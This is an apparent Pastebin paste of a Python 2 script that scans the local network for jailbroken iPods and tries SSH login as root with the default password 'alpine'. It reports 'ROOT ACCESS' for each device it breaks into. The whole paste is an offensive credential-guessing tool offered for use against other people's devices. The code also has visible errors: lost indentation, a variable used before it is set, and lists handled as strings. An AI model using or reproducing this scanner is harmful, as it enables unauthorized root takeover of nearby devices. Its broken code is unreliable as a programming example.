Advertisement
Guest User

Untitled

a guest
Jul 7th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.64 KB | None | 0 0
  1. #Jailbroken iPod default password scanner, make sure you install fping & paramiko
  2. #Written in Ubuntu by Ac3
  3. #Version 1.5
  4.  
  5. import paramiko
  6. import os
  7.  
  8. ssh = paramiko.SSHClient()
  9. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  10.  
  11. subnet = os.popen("ifconfig").read().split("inet addr:")[2].split()[0]
  12. print '[It appears your subnet is ' + subnet + ']'
  13. #find hosts on LAN
  14. print '[Scanning...]'
  15.  
  16.  
  17. #fping 171.17.0/24.0/24
  18.  
  19. count = 0
  20. hosts = []
  21.  
  22.  
  23. def run():
  24.     global count
  25.     try:
  26.     if h_t == h:
  27.         return
  28.     except:pass
  29.     if count > 255:
  30.     return
  31.     s_count = str(count)
  32.     x = os.system("fping -a -q -g "+subnet.split(".")[0]+"."+subnet.split(".")[1]+"."+s_count+".0/24 > temp"+s_count)
  33.     h = open("temp"+s_count, "r").read().split('\n')
  34.    
  35.     if h[0] == '':
  36.     run()
  37.     else:
  38.     hosts.append(h)
  39.     h_t = h
  40.     print '[Added ' + str(len(h)) + ' hosts]'
  41.     os.system("rm temp"+s_count)
  42.     count = count+1
  43.     run()
  44. run()
  45.  
  46. count = 0
  47.  
  48. if len(hosts) == 0:
  49.     print "[Done1]"
  50.     exit()
  51.  
  52. print "[Testing " +str(len(hosts))+ " hosts]"
  53.  
  54. #test all the hosts
  55. def scan():
  56.     global count
  57.    
  58.     if count > len(hosts):
  59.     return
  60.     try:
  61.    
  62.     hosts[count] = hosts[count].replace(" ","")
  63.     print "Trying ["+hosts[count]+"]"
  64.     ssh.connect(hosts[count], username="root", password="alpine")
  65.     stdin, stdout, stderr = ssh.exec_command("whoami")
  66.     if stdout.read().split("\n")[0] == "root":
  67.         try:
  68.         os.system("notify-send Root Found")
  69.         except:pass
  70.         raw_input("ROOT ACCESS, HOST="+hosts[count])
  71.        
  72.     else:
  73.         ssh.close()
  74.     except:pass
  75.     count = count + 1
  76.     scan()
  77.    
  78.    
  79. scan()
  80. print '[Done]'
  81. exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement